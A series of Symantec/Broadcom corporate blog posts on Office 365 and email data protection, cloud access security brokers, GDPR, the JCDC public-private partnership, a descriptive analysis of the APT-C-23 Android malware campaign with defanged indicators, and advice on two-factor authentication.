Bad emails come in and good emails go out. In Office 365, email security must be a two-pronged mission to both safeguard users from inbound email threats and protect sensitive outbound emails from ending up in the wrong hands. Modern email threats such as credential phishing, ransomware, and business email compromise can only be stopped with advanced, multi-layered detection and strong isolation of threats. On the other end, not all outbound sensitive emails must be blocked, for example, when they involve partners and customers. Sensitive emails and their attachments should be flagged by DLP on the fly and automatically protected with persistent encryption and digital rights in order to ensure that only trusted recipients can open them.
Disjointed data protection solutions and point controls cause unnecessary overhead. A data protection system for Office 365 that is disconnected from the rest of the enterprise infrastructure means separate sets of policies to manage and different consoles. Additional alerts to triage, security gaps, and false positives due to lack of context compound the risk. It’s important to seek a platform approach for all data channels with native integrations among different protection controls, such as DLP, data classification, cloud access security brokers, email security, encryption, proxies, and authentication. A single platform delivers end-to-end data protection with consistent protection everywhere data resides, one set of policies and one console. Such an approach dramatically minimizes operational cost, reduces false alerts, provides context for data violations everywhere the data travels, and helps discovering anomalous user behavior across multiple vectors.
When data leaves the corporate perimeters and is shared in cloud applications, like Office 365, organizations remain responsible for its security, and must provide the same level of protection as within their managed environments.
According to Symantec’s 2018 Internet Security Threat Report, 90%of targeted threats still seek to identify and steal organizations’ sensitive information. Sensitive corporate information can be exposed in Office 365, and other cloud platforms like it. For example, say an organization sends an encrypted email to a third party with pre-release notes for a product launch. Normally, the visibility on the security of the email ends when the decryption key is provided to the recipient. Today’s data protection requires more. Persistent encryption and identity-based digital rights protect and track an email, and its attached documents, everywhere, making sure only the intended authorized recipients can open it.
Organizations must seek a powerful information-centric security approach via a cohesive platform that uniformly helps track and protect all their data whether it is at rest or in transit, on-premises or in the cloud, like in Office 365. With a single management console and one consistent set of policies, risk is managed, operational cost is minimized, security gaps are filled – all thanks to the visibility and context for data violations monitoring user’s risky behavior everywhere.
Click Here to watch our Data Protection for Office 365 demo to learn:
How to auto detect and protect sensitive data shared through Office 365 applications.
How to safely share data with third parties outside of your Active Directory environment.
How to maintain consistent visibility & identity access control of your data.
Learn more about Information Centric Security
Learn more about Data Loss Prevention
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Office 365: G Suite Security Needs More Than Just Surface Level API Monitoring
Many CASB’s rely on APIs to gain visibility into the state of your company's cloud services. That means they miss a lot
From Microsoft Office 365 to Google G Suite, businesses regularly use productivity applications from the major cloud services, but have not given enough thought to protecting the data that flows through these services.
Most companies focus on the data in specific files, but the information contained in and attached to e-mail messages and other communications—such as in Slack or Google Hangouts—often poses a greater risk. In Symantec's 2018 Shadow Data Report we analyzed 22,000 cloud applications and services, 758 million documents, and over 1.4 billion emails and attachments, finding that—while 13 percent of files are broadly shared—a much greater portion, 32 percent, of e-mails and attachments are broadly shared. While only 1 percent of each set of files, messages and attachments contain sensitive data, that is still millions of sensitive data objects, a very large potential surface area for a breach.
The lack of visibility of sensitive data in common cloud applications—what we call shadow data—puts companies at risk of a serious breach. Moreover, most major cloud access security brokers (CASBs) do not provide an adequate depth of visibility either. Most CASB options only track the files in OneDrive and Sharepoint, or GDrive and Sites, but O365 and GSuite encompass many apps, not just file sharing. E-mail, shared collaboration spaces, messaging, calendar scheduling, and other applications that hold sensitive data are not adequately visible.
Companies need to both gain visibility into where sensitive data resides and the ability to control that data.
Lack of visibility is not the only issue. Many CASB solutions only offer remediation of an issue after the fact—they can’t prevent an action, such as blocking your entire customer base from being attached to a ‘reply all’ email. This failing is largely because the services do not have a way to inspect your cloud traffic inline.
Companies need to both gain visibility into where sensitive data resides and the ability to control that data. Otherwise, sensitive corporate data will be stored in Microsoft's or Google's clouds without the same compliance and security controls that companies exert in-house.
Gain Control Over Data in E-mail
E-mail is a good example of the problems associated with data and cloud services. While corporate security teams may worry about data being insecurely stored on file-sharing apps such as OneDrive and GDrive, 65% of data in these clouds is actually shared through e-mail messages, not to mention the data shared in messages or calendar events.
Of the 1.4 billion e-mails scanned in Symantec's study, 448 million were broadly shared. And while only 1 percent of those messages contained sensitive information, that is still more than 4.4 million messages containing sensitive data without commensurate security controls.
Because these statistics are aggregated from our CloudSOC service—they represent companies that are arguably more focused on security than the average business—the figures are likely conservative. Companies that rely only on security measures that only look at Microsoft's and Google's file sharing apps will likely have significantly less visibility into their use of data and consequently less security over their sensitive data because if you can’t see the data, you can’t enforce DLP over it.
Don't be Slack on Messaging Security
E-mail is not the only potentially unwatched channel for sensitive data to leak from your company. Developers collaborating in Slack, marketing professionals exchanging data in Salesforce, or associates chatting in Google Hangouts are all potential sources of sensitive data leaks.
If employees are dropping data directly into application notes or comments or embedding data in meetings on the calendar, your company likely has no visibility or control over that information. If any of the accounts with access to chat forums containing sensitive data become compromised or include a malicious insider, then your company will likely lose much of that data, because you don’t know what you don’t know, and there is a lot going on in these platforms.
Go Deep on APIs and Beyond to Inline Controls
Security for cloud apps often relies on application programming interfaces, or APIs. These are user- and developer-focused services that are exposed by the vendor through a specific interface. Many cloud security access brokers (CASB) use APIs as their foundation for gaining visibility into what is going on with your company's cloud services. However, many of them only look at files in OneDrive and Sharepoint or GDrive and Sites. They never look at content in email or in other apps embedded in these services or content written directly within these platforms.
Plus, there is only so much you can get out of an API integration because it is inherently and “after-the-fact” method. Data must already be in the app before an API can analyze it, identify if it is sensitive data at risk of exposure and act to remediate it because you are not looking at the inline activity. Preventing an employee from accidentally sending an e-mail to the entire company with Reply All, for example, might be seen after the fact through the API, but could not be prevented beforehand.
To gain true visibility, businesses should be looking at users' actions before they reach the cloud. This requires inline visibility and control via a CASB Gateway. With inline security, an email or a message containing sensitive data can be identified in transit and stopped before the data is leaked. And this inline control must be able to look at many different apps. With the use of a forward proxy CASB gateway, organizations can even control transactions with unsanctioned apps or personal non-corporate accounts. Otherwise, they run the risk of watching a breach after its happened, rather than preventing a breach of sensitive data.
Symantec’s CloudSOC CASB solution for cloud app security offers visibility deeper into more apps in Office 365 and G Suite as well as other common cloud services via APIs and leverages a CASB gateway that can give inline visibility and controls over transactions with both sanctioned and unsanctioned cloud apps as well as corporate and personal cloud accounts.
If you found this information useful, you may also enjoy:
CloudSoc: Secure Use of Cloud Apps & Services
CloudSOC and Email Security.cloud for Microsoft Office 365
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Office 365 Security: It Takes Two to Tango
Many cloud apps – including Office 365 – operate under a shared responsibility model. Here’s what that means for your company
Security concerns, once a long-standing hurdle to cloud deployment, may be on the wane, but the issue is still very much alive when it comes to cloud-based applications such as Microsoft Office 365.
It’s not that Office 365 is inherently less secure than other SaaS offering; it’s that companies still harbor misperceptions related to the shared responsibility model now commonplace for many cloud applications, including Microsoft Office 365. The issue is particularly acute given the rising popularity of the Microsoft cloud platform. Global cloud adoption has topped 81%, while Office 365 usage has surged from 34.3% to 56.3% this last year, eclipsing Google’s G suite, which held steady at 25%.
Under the shared responsibility model, security of physical assets, host infrastructure, network controls, and application-level controls are squarely in the hands of cloud service providers (CSPs) like Microsoft, but that hardly covers all the bases. Identity and access management and client and end point protection remain a split responsibility between the CSP and the customer; more importantly, the enterprise needs to take the reins when it comes to data security and classification—a delineation that is often lost on customers expecting that a SaaS solution means security requirements are taken care of.
“One of the most common misperceptions is that Microsoft, by default, is protecting all the data and that’s simply not the case,” says Swapnil Deshmukh, senior director of information security at Visa. “Organizations need to figure out how to protect the application stack and any code that resides there as well as how to protect data stored on the cloud itself.”
Not surprisingly, there have already been some well-publicized breaches. A wave of phishing attacks aimed at stealing passwords used Microsoft 365 Office files posing as tax forms, affecting millions of users. And then there was last year’s mishap when the Office 365 Admin Center itself inadvertently revealed usage data belonging to other tenants, which highlighted the risks in the context of regulations like the European GDPR (General Data Protection Regulations).
A Holistic Security Approach
Symantec’s 2018 Shadow Data Report, which covers the key challenges encountered when trying to secure data and maintain compliance in cloud apps and services, reveals just how high the stakes have become. The report found that 32% of emails and attachments in the cloud are broadly shared and 1% of those contain compliance-related data, including Personally Identifiable Information (PII), Payment Card Information (PCI), and Protected Health Information (PHI), revealing a much higher risk than anticipated.
Moreover, 68% of organizations have some employees who exhibit high-risk behavior in cloud accounts, encompassing everything from data destruction to data exfiltration and accounts takeovers. It gets worse: The 2017 Symantec Internet Security Threat Report (ISTR) found that in 2016 one out of every 131 emails contained a malware attack, and 61% of organizations were hit by ransomware incidents.
Microsoft Office 365 delivers an array of security controls, including encryption of data both at rest and via network transmission, threat management and security monitoring capabilities, and online protection to ward against spam and malware. Azure Active Directory is used for authentication, identity management, and access controls and there is support for multi-factor authentication. The platform also has a built-in feature for email encryption, but it isn’t part of the default settings.
Click Here for the Office 365 Security Checklist
This highlights a problem for many users who simply don’t know what’s available beyond Office 365’s default security controls, notes Payton Moyer, president and COO of MLS Technology Group, a managed IT services provider. “Office 365 offers baseline security features baked in and ready to go by default, but to get the maximum security, you have to make an effort to add capabilities and turn them on,” he says.
What’s really important, experts say, is for enterprises to layer on additional security capabilities, including digital rights management; Data Loss Prevention services; as well as threat analytics, blocking, and remediation.
Adds Symantec Senior Technical Sales Manager, Adrian Covich: “People are looking for the base functionality and don't necessarily proceed with security in mind. They also misunderstand the point to which Microsoft will secure them out of the box versus what they still need to do. There are still fundamental questions you need to answer with SaaS when it comes to the delineation of responsibilities and who has access to data. Are your users who they say they are? What data are you storing and are your business processes sufficiently secure?”
These extra protections should work holistically across the entire enterprise domain, not just for the Microsoft Office 365 cloud silo. To this point, a Cloud Access Security Broker (CASB) can integrate Office 365 and other cloud apps into the broader enterprise security architecture, delivering visibility into shadow IT and cloud application usage, providing data governance and controls for data stored in cloud apps, and leveraging machine learning and user behavior analytics to deliver advanced security and data protection.
“A CASB sits between the enterprise end user and Microsoft Office 365, looks at all the data, and allocates the right controls to it,” says Visa’s Deshmukh. “It stops data exfiltration avenues from an internal perspective and identifies adversaries that may have compromised end users.”
By sharing responsibility and taking a holistic approach, enterprises can close security gaps, minimize potential risks, and ensure a stress-free path to the cloud.
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Once Again, Symantec Recognized as a Leader in Email Security
Symantec Named a Leader in Email Security by Third-Party Evaluators
Within Symantec, we’ve long understood that email is the primary vehicle used by hackers and other cyber criminals to distribute all forms of malware, to dupe users into taking unsafe actions, and to capture sensitive and business-critical data. That knowledge has motivated us to build and deliver the strongest and most comprehensive email security defenses possible.
It’s nice to know that a growing number of third-party evaluators think our efforts are squarely on track. Indeed, in just the latest of what has been a succession of positive reviews and analysis, the Symantec Email Security solution recently received recognitions from both Forrester Research and SC Magazine. We earlier wrote about how our email security solutions came out on top in recent security effectiveness testing from SE Labs and Tolly, and we were also named a leader in the Radicati Secure Email Gateway Market Quadrant report in October 2018.
Forrester evaluated the Symantec Email Security along with 11 other enterprise email security solutions. In its report, “The Forrester Wave™: Enterprise Email Security, Q2, 2019,” the market research and consulting firm ranked the dozen contenders using 32 distinct criteria and named Symantec as a Leader in its evaluation.
If you’re looking for a solid cloud-based email security option, give Symantec a look.
To put these findings in a broader context, it’s worth remembering why this category of cyber defense must be a central piece of every comprehensive cyber security strategy. Consider a number of data points from our 2019 Internet Security Threat Report (ISTR):
5,803 companies per month were targeted with Business Email Compromise (BEC) scams during 2018
Email was the chief distribution method for ransomware in 2018
Spear phishing emails were the most popular vector for attacks, as they were used by 65% of targeted attack groups
Because we’re alone in offering Email Threat Isolation (ETI) technology, our email defenses are arguably the best in the industry. These capabilities create an isolation container within which to open and run sessions between users and email links, which often launch suspected phishing websites or pages hosting ransomware. That way, if a website prompts an user for their credentials or attempts to download malware, the threat is contained and eliminated without doing any harm.
In addition, we’re one of the only vendors that help customers automate sender authentication controls such as DMARC, SPF, and DKIM. Introduced earlier this year, Email Fraud Protection helps overcome issues with enforcing sender authentication, such as getting visibility into email senders (including 3rd-party services), keeping sender information up-to-date, and administering these controls. With this solution, Symantec offers complete visibility into sources of fraudulent email, automatically identifies 3rd-party senders, and greatly simplifies ongoing maintenance. This ensures that users will trust email senders, protects brand reputation, and reduces email spoofing attacks.
Threat detection & remediation, data loss prevention and email encryption are among our many other email security strengths. And, of course, all of our email security solutions are tightly integrated with the full portfolio of Symantec’s cyber security products and services. That includes everything from Symantec Endpoint Protection to our Web and Network Security to our Cloud App Security. In turn, all of these cyber security components contribute to, and benefit from, the Symantec Global Intelligence Network.
At Symantec, we know that our email security products and technologies must continually push the envelope with new advancements and capabilities as the diversity, sophistication and volume of cyber threats continue to grow. Still, it’s good to know that our efforts to deliver the best email security defenses available are succeeding, as Symantec continues to receive top independent reviews and other industry recognition that we believe validate our position as a market leader in email security.
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One Month Into the GDPR: What Has Changed?
A look at privacy wins and unanticipated challenges since May 25 are harbingers of what we can expect in coming months
The European Union’s General Data Protection Regulation (GDPR) went into effect in late May, an event that privacy and information security professionals had been preparing for months, even years. For most technology users around the world however, the internet cookie banner renaissance on May 25 was the first tangible effect of this new regulation.
Speaking as the Director of Symantec’s GDPR Strategy, it’s been a busy month. Now that the law is enforceable, we’ve seen many impacts, some good, others less so.
Privacy Wins
The GDPR has led to an unprecedented level of transparency and awareness. The GDPR’s intent was to let people know their privacy is now better protected. In reality, the flurry of privacy policy updates and consent requests hitting inboxes have left many people more worried. While I now hear, “I had no idea that so many people had access to my email address,” quite often, this increase in awareness is the whole point.
Never before have the pervasiveness of technology, the omnipresence of personal data and the far-reaching privacy implications of digital modernity been exposed so plainly. The initial concern and irritation are understandable, but also temporary. The empowerment that the GDPR has brought is also starting to sink in, as both users and businesses realize they now have the ability to act.
Symantec's New Privacy GDPR Portal
Our GDPR Portal has quickly become a popular resource. Website visitors, individual consumers, enterprise customers and business partners alike, have sent feedback that they regularly use our portal, which has also become a powerful enabler for our own product and sales teams. The chart below speaks to the interest that the Portal has generated in the three weeks from its launch on May 11 to June 3.
We’ve repeatedly heard that our product transparency notices, including these Norton Product and Service Privacy notices, are precisely what customers need. We’ve been able to further increase trust with our customers by describing the categories of data collected, and the purposes for which those data categories are processed. Our Global Privacy Statement and Customer Data Processing Addendum, which more thoroughly lays out our commitment to safeguard any personal data that we process, have also been in high demand.
People Actually Read Privacy Statements and Notifications
Contrary to common belief, we’ve found that a lot of people do read privacy notifications. Many click through, and quite a few even take action. Since GDPR-related communications and updates were rolled out, our Global Privacy Office and various customer support helpdesks have seen a clear increase in engagement from people exercising their privacy rights.
Increased Data Protection Creates New Challenges
Unanticipated requests have challenged our scripts, playbooks, or readily available resources.
While many of the requests we’ve received from customers and users have been straightforward thanks to careful planning and scripting, we’ve received a number of unanticipated inquiries. Former customers have gotten in touch to see if any data remains from years ago, people who were never customers have checked to see if we have any data about them, non-European users are testing whether they too could benefit from transparency and privacy rights made in GDPR, and requests in rare languages have required involving a translator on an ad hoc basis.
Planning for such contingencies was a big part of our GDPR preparation and the next weeks and months will be spent gauging what the new business as usual looks like; firming up the plans in place; addressing novel or emerging trends; learning as we go what works and needs improvement; automating data services where possible; in short: maturing our GDPR compliance program.
Increased Transparency Invites More Scrutiny, More Suspicion
GDPR-based litigation has started. Facebook and Google are facing lawsuits, and potentially billions of dollars in fines, for alleged GDPR violations. Meanwhile certain crowdsourcing initiatives are preparing for future privacy class actions, generating additional suspicion. Maintaining the credibility and trustworthiness of data management practices has become a full-time job indeed.
New Wave of ‘GDPR-Right Trolls’
These trolls might include unscrupulous individuals and organizations submitting unfounded data access requests and threatening complaints and lawsuits, malicious actors using bots to flood privacy request intake portals and mailboxes with harmful spam, or cyber criminals trying to sneak targeted cyber attacks into the web traffic flowing to newly opened communications channels. The GDPR itself has made provisions to lawfully resist all of these, however companies must be adequately prepared to secure and defend against these new threats.
Business is Being Forced to Change
And of course, the GDPR significantly altered the balance between privacy protections and business objectives. With customers exercising their right to be forgotten and opting out of communications, businesses lose opportunities to cross-sell or market additional goods or services.
The GDPR also holds engineering departments to more demanding ‘privacy by design’ and ‘privacy by default’ requirements than before, reducing the latitude of businesses to track, target and approach users with promotional messaging. Brands will now need to spend more time and effort to decide where to publish content to best reach their target audiences.
If you found this information useful, you may also enjoy:
Symantec GDPR Portal
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One Year Later, the JCDC is Making a Difference in Cybersecurity
Broadcom Software continues to help
For years, Silicon Valley and Washington D.C. seemed to inhabit separate universes when it came to issues involving security and privacy, making it difficult for both sides of the coast to agree on sound policies, much less effectively work together.
Controversies such as showdowns over encryption, national standards for data privacy protection or breach prevention, or the surveillance disclosures by former NSA contractor Edward Snowden, demonstrated sharp divergence of opinions on these and other important issues. Policy differences also challenged closer public/private collaboration. All the while, cybercriminal gangs and threat actors allied with unfriendly nation-states were stepping up their attacks in scope and sophistication.
The Era of Better Collaboration
Over the last few years, the level and quality of that collaboration has improved. Certainly, enactment of information sharing legislation, long a point of contention with industry and government, has helped, as well as an agreement in Congress on incident reporting. Similarly, the work of the Cyberspace Solarium Commission helped bring industry and government together on a longer-term strategy to secure cyberspace.
Critical to this overall improvement has been stand-out leadership within the U.S. government during this time, and the Biden Administration has taken that leadership to the next level last year with the appointment of Jen Easterly to lead the Cybersecurity and Infrastructure Security Agency (CISA). In addition to bringing substantial cyber experience in the military and civilian branches of government, as well as the private sector, Jen has in just one year at the helm of CISA transformed how traditional public-private partnerships worked.
A Call to Action
At last year’s annual Black Hat conference in Las Vegas, Jen set the partnership on a new course when she appealed to the security industry to work with the federal government to proactively combat the escalating wave of cyberattacks. "Partner with us,” she said, “to raise the cybersecurity baseline of our data, of our networks, of our services, of our networks, and help us make the Internet a safer place."
She backed up this call to action with actions of her own, starting with the creation of the Joint Cyber Defense Collaborative, or JCDC, which has already proven to be different from previous public-private partnerships. Like prior ventures, the JCDC would bring together federal agencies and leading security players in the private sector. Broadcom Software was asked to join this newly created collaborative, and we looked forward to bringing our deep knowledge and resources to this cybersecurity initiative.
Yet, what is significant about the JCDC’s collective and coordinated defense against cybercrime can’t be overstated. For the first time, public and private entities were going to have a centralized way to undertake joint cyber planning to better defend against cyberattacks that threaten critical infrastructure or national interests. It’s an idea whose time has come – especially given the relentless surge of crippling high-profile attacks aimed at business and government.
For the first time, public and private entities were going to have a centralized way to undertake joint cyber planning to better defend against cyberattacks that threaten critical infrastructure or national interests.
High Marks for Year 1
In the year since the creation of the JCDC, I’ve seen palpable progress with federal agencies and the private sector now more able to do the necessary planning and preparation needed to strengthen the nation’s cyberdefenses.
Security companies have a seat at the table, but there’s so much more on the menu. We’re not only sharing – and receiving – important security information, but we’re also sharing ideas about policy and taking more proactive steps to better defend against threats.
What’s more, unlike previous attempts at public-private partnerships around security, this one doesn’t feel like a one-way street. With the JCDC, the government brought private sector organizations into the fold to collaborate proactively on problems instead of telling them how things ought to proceed.
It is Working
As a result, the information sharing pipeline is working.
For example, earlier this year our Symantec Threat Hunter team, uncovered the existence of Daxin, a piece of malware used as part of an espionage campaign against certain governments and other critical infrastructure targets. Our researchers found that while certain foreign government networks were targeted, they were not our customers, and we had no way to notify them of the potential harm to their systems or their sensitive information. But through the JCDC and the federal agencies that comprise it, together we were able to bring our threat intelligence to the right contacts in the targeted governments and assist in the detection and remediation of their infected computers. That kind of outreach wouldn’t have been possible if we were doing this by ourselves.
The cadence of collaboration is getting better and faster all the time. We now have ways to share information instantaneously and with all the members of the JCDC rather than have it bottled up in silos.
Clearly, while it’s too soon to declare victory, we can proclaim progress. In just one year, Director Easterly has taken the critical steps necessary to help government, security companies and critical infrastructure stakeholders gain a more collaborative footing, see a more complete picture into the overall threat landscape, and plan a more effective response. I look forward to seeing even more progress in the years ahead.
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Ongoing Android Malware Campaign Targets Palestinians - Part 1
APT-C-23 continues its assault with a new Android malware variant
It has been more than a year since the group “APT-C-23” started to spread its Android Malware in the Middle East (mainly against its Palestinian political rivals), and it seems the Malware authors are not apprehensive about continuing to spread newer versions of its Malware.
The latest sample we analyzed is of an application named “Zee Player”, that was added to Google Play a few weeks ago. The app is described as a media player that can “hide your pictures and video” (well maybe that explains why it hides its own icon...).
Application Page at Google Play
We’ve noticed the Google Play page has a link to a developer website. This site is a scam that tries to exfiltrate your credit card details for “exclusive video services”, before you even actually install the app.
The scam website. When submitted, the page displays a quick “maintenance” error
Looking under the hood of the application, it seems it is a new sample of GnatSpy, that can grab information from the device and trick the victim to install more Malware. A quick view of the SharedPreferences manager can already reveal the app’s true intentions.
A partial list from the “SPManager”
"Zee Player" is only the latest sample from APT-C-23's recent Android malware campaign. We have been monitoring the group's activity in the past year and it seems we were not the only ones. In today's Pastebin publication we found some details about the recent samples, as well as a reference to an open source tool that is able to scan Android devices and remove the said Malware.
We have inspected the tool’s source (commit 19a0e55) and from our review it indeed does what it claims to. However, the way it removes the Malware is too simplistic, as it removes the Malware solely based on the package name of the APK.
As more information becomes available about APT-C-23, we expect to present a more thorough report, including technical details of the group's modus operandi, attached with a big list of IoC’s (Indicators of Compromise) that we've analyzed.
Mitigations
Stay protected from mobile malware by taking these precautions:
Do not download apps from unfamiliar sites
Only install apps from trusted sources
Pay close attention to the permissions requested by apps
Install a suitable mobile security app, such as SEP Mobile or Norton, to protect your device and data
Keep your operating system up to date
Make frequent backups of important data
Zee-Player IOC’s:
SHA256: cbf9a0737e27fafafaff5c73825bb96907a976b230bf18843badd7b10d475eb2
Package name: co.zeeplayer
Domains: zee-player[.]com, zee-player[.]website, kristy-milligan[.]website
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Ongoing Android Malware Campaign Targets Palestinians - Part 2
More about the inner works of the APT-C-23 group, which targets victims in the Middle East, mainly in the Palestinian territories
In our previous post, we discussed the persistence of the "APT-C-23" group. Even though their operation was exposed, they continue to improve their malware and infect more victims. Now we would like to share more technical details and provide a broader look at their operations, including a long list of indicators of compromise.
Overview
The APT-C-23 group targets victims in the Middle East, mainly in the Palestinian territories. In our research, we discovered that the group registered hundreds of domains and infected thousands of victims across more than 20 countries.
When it comes to masquerading their malware, the group uses two kinds of applications:
Chat applications, such as Chat Me, Chatous, Go Chat, Love Chat, MeetMe, SendBird, SoChat, VoiceChat, WeChat and WhispersTalk along with similar apps.
Updates of popular applications such as WhatsApp, Facebook, Skype and Telegram.
Distribution
As we demonstrated in our previous post, the attackers were able to upload some of their malware to Google Play. In order to improve their infection rate, they have two main methods of distribution. The first one is via SMS with a URL to Google Drive or a C&C domain that hosts the APK. The second method is by uploading their apps to third-party stores.
We spotted “Zee Player” at 7 different third-party stores. We can’t conclude those stores are malicious, or even complicit, as some of them just scrape Google Play, and others just mirror each other. Legitimate applications reside alongside the malware, which makes it harder to make a case against those stores.
"Safe to download and free of any virus" - Third party stores.
Communication
In order to receive commands from the C&C server, the malware authors implemented two ways of pushing messages to the app. The more complete implementation leverages Firebase Cloud Messaging. Additionally, the malware developers also implemented SMS communication as a backup.
Firebase Cloud Messaging
Firebase Cloud Messaging (FCM) is a free cloud service from Google that allows app developers to send notifications and messages to users across a variety of platforms easily and with high reliability. This utility is part of Google’s Firebase platform that offers app developers more convenient features. It is very pragmatic for the attackers to use Firebase, as this makes it easy to use other existing tools such as Google analytics, which is also included in those apps.
Firebase messages
SMS
The attackers created a fallback system using SMS commands, which is useful when there is no Internet connectivity and the victim can turn on and off the mobile data and Wi-Fi. In addition, they can update the C&C domain in case it needs to go offline, thus extending the malware’s shelf life.
SMS commands
How it Works
When the app starts for the first time, it communicates with a pre-defined C&C server, which refers the app to another C&C server address that will be used from that point on. This behavior allows the malware authors to use many different domains and makes it harder to block all of those C&C server domains. We observed over a hundred different domains that have been used for this purpose. After getting the updated domain, the app sends its FCM token, which is necessary in order to allow the C&C server to utilize FCM and send commands to the app.
The following diagram shows the full flow of communication between the malicious app and the C&C servers:
These malware apps have a long list of available commands, allowing the malware operators to get a lot of information from the devices and spy on the device’s owner. Almost all of the commands are available through the FCM communication path, with some also available through the SMS communication path. Most importantly, there are also resiliency commands such as ‘Update C&C domain’, ‘Get an updated FCM token’ and ‘Enable data connection’.
The full list of commands, as well as the communication method that they are available through, can be found in the following table:
Installation of More Malware
Some of the commands we've seen are the installation of applications. In order to receive consent from the victim, the attackers created activities that simulate updates to popular applications such as Facebook, WhatsApp, Google Play, Instagram and Messenger.
A “Facebook update” turning into “Android Settings” installation
The malware can also uninstall its own applications, although the high variety of versions can cause some mix-ups:
An uninstall message of “Meet Me” mistakenly over “Facebook”
Recent Additions and Capabilities
With the constant changes made to the code, we would like to point out a few “features” that were added or otherwise changed in the recent samples:
Device Administrator - Since the early stages of the campaign the malware tries to hide itself by hiding its icon. In recent samples, it also asks for device administrator permissions to gain a strong foothold on the device as it becomes even more difficult to locate and disable it.
GetNumberUSSDService - The attackers use USSD as a way to retrieve the phone number, and an accessibility service was added in order to capture the alert dialog that is produced from the USSD codes that has a number that starts with “056” (Wataniya) or “059” (Jawwal), the Palestinian cellular prefixes codes.
Accessibility service
USSD codes of “Jawwal” and “Wataniya”
App Licensing - It was very odd to see the permission "com.android.vending.CHECK_LICENSE" in a Malware sample. It’s not correctly implemented, and the purpose is not totally clear, but it shows the intention to have a foothold at Google Play (licensing is only for apps from the store), and maybe some sort of scheme to use APK expansion files, as it requires licensing.
Power management - REQUEST_IGNORE_BATTERY_OPTIMIZATIONS – The purpose of this permission is exemption from power management features, meaning adding the malware to a whitelist so that the victim will not be notified in case the malware has high battery usage.
CacheCleaner - The attackers created a maintenance task that deletes temporary files in an effort to always have enough space for the leaked data before it’s being uploaded:
It also tries to free memory, in a silly way with a random number of megabytes:
Mitigations
Stay protected from mobile malware by taking these precautions:
Do not download apps from unfamiliar sites
Only install apps from trusted sources
Pay close attention to the permissions requested by apps
Install a suitable mobile security app, such as SEP Mobile or Norton, to protect your device and data
Keep your operating system up to date
Make frequent backups of important data
Indicators of Compromise (IoCs)
As this campaign was active for a while, hundreds of samples and domains have accumulated. All are available here.
File Attachments
Download: Indicators of Compromise (IoCs) for the Attack Group APT-C-23PDF56.13 KB
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On the Front Lines of Incident Response, It’s a Little Like “Groundhog Day”
Many of the same e-mail-related mistakes continue to crop up. Here are some common-sense measures to escape this endless loop
If you want a sense of what it’s like to work in incident response nowadays, watch Groundhog Day, the classic comedy film where Bill Murray plays a weatherman who finds himself reliving the same day in an endless loop.
The folks working the security barricades know the feeling. No matter how much we preach the gospel of best practices, employee lapses still repeat with predictable regularity - leading to costly cyber mistakes that make it all too easy for attackers to steal company data. This is particularly true when it comes to e-mail compromises and phishing outbreaks.
At first blush, all this might sound like bad news, what with incident response teams forced to put out the same fires over and over again. Just as frustrating is the fact that most of the resulting breaches are easily-avoidable.
However, the encouraging news is that this fate isn’t etched in stone. In fact, organizations can dramatically reduce their security risk by adopting common-sense measures. I’ll get to that shortly but let’s first look at some of the common problem areas.
Cloud E-Mail Accounts: Easy Access is often Easy Prey
Email vulnerability has always presented an assortment of challenges, but it’s especially acute nowadays with so many organizations migrating data to cloud-based applications. All it takes is a mistake by one user to put the entirety of a company’s data in jeopardy.
At the same time, attackers are getting increasingly savvy and they’re sending out phishing emails designed to look as if they come from inside the organization. The emails often prompt users to change their passwords or enter their passwords into a new web window. Once they’ve captured the user’s credentials, phishers basically have complete access to that user’s e-mail account (and in the absence of good network security practices, potentially access to roam leisurely throughout the network!) Most users likely won’t fall prey to a phishing scam like this, but even with a good training program in place, a significant enough percentage will that it’s a pretty serious security concern.
A further observation about the structural shift now underway: As enterprises transition from the on-prem to the cloud world, the best practices that they deployed to protect data when it was stored within the four walls no longer suffice. Putting up a static firewall and adding anti-virus software to the network isn’t simply isn’t enough in a new world where data is in transit and accessible from any number of endpoints.
Also, there’s lingering confusion about the role that cloud suppliers play in protecting customer information. In general, the underlying systems run by the likes of a Microsoft or Amazon are quite secure. Still, customers will need to take the lead responsibility to ensure that access to their data stored on those systems is secure. That involves more work to make sure that employees use effective passwords with good length and complexity, change those passwords frequently, and don’t reuse the same passwords for other online accounts (a very common way in which corporate credentials are harvested by bad guys.) Companies also need to ensure there are adequate additional authentication methods to keep interlopers out.
Locking it down – Two-Factor/Multi-Factor Authentication
One easy way to add an extra layer of protection for remote access is to deploy two-factor authentication (2FA), also known as multi-factor authentication (MFA). All you need is some other factor in conjunction with your username and password - it might be in the form of a hard token, authentication app, or a text message sent to a phone. Just as long as there’s another solid form of authentication as part of the credentialing process. The great benefit of having a good 2FA/MFA solution in place is that compromise of users’ usernames and passwords is a relatively trivial inconvenience from a practical standpoint, as those credentials are of little or no use to an attacker without access to the additional necessary factor(s).
Now, 2FA isn’t a 100% guarantee. Nobody can promise that attackers still won’t find ways to work around 2FA, but it makes the probability of getting accounts compromised much lower. 2FA is also a relatively unobtrusive measure that won’t get in the way of users doing their work. It’s simply one additional step that takes all of a few extra seconds.
In practice, however, we still find resistance in certain sectors where some view 2FA as a needless burden. Given the myriad of threats that now target corporate email systems, don’t assume that your email system is secure, or that it isn’t of considerable value to an attacker. Regardless of an organization’s policies to the contrary, many employees still store sensitive information in email. That’s just human nature. Also, in addition to the attacker gaining access to all of that user’s e-mail correspondence, they can imitate that person to send e-mails that compromise additional user’s accounts, gain additional sensitive data, and in some cases, steal money by ordering payments or funds transfers (aka – Business Email Compromise). So, even if an outsider only gains access to an individual email account, the organization can find itself put at significant risk.
Given the myriad of threats that now target corporate email systems, don’t assume that your email system is secure, or that it isn’t of considerable value to an attacker.
Additionally, a compromised e-mail account is often used by attackers to send out (frequently legitimate looking) phishing e-mails to other users within the same organization, and sometimes to customers and partners. This, in turn, can result in a string of additional compromises, and spread of a phishing campaign to other organizations. Once a compromise happens - and with many organizations, it’s only a matter of when, not if - you're going to wind up playing “whack-a-mole” indefinitely until you get 2FA and other security measures in place. Until then, you're going to keep doing password and account resets and responding to additional compromised accounts, wasting valuable time that could be better invested in other pursuits.
I know some of you are likely reading this thinking, “We know this already… there’s nothing really new here.” That’s precisely my point. As long as 2FA/MFA has been available, and as often as I’ve heard it suggested – and suggested it myself - as a best practice, I’m amazed that we still run into this as often as we do in the wild. But it remains a significant problem, and phishing outbreaks and compromises are something we still respond to on a regular basis.
If your organization is like most, you allow some form of remote access for your employees to access e-mail and other data in order to do their work from home or on-the-go. If you don’t have and enforce common sense password policies and a 2FA/MFA scheme in place to access that data, you’re putting your organization at risk, and will almost certainly be dealing with successful phishing outbreaks at some point.
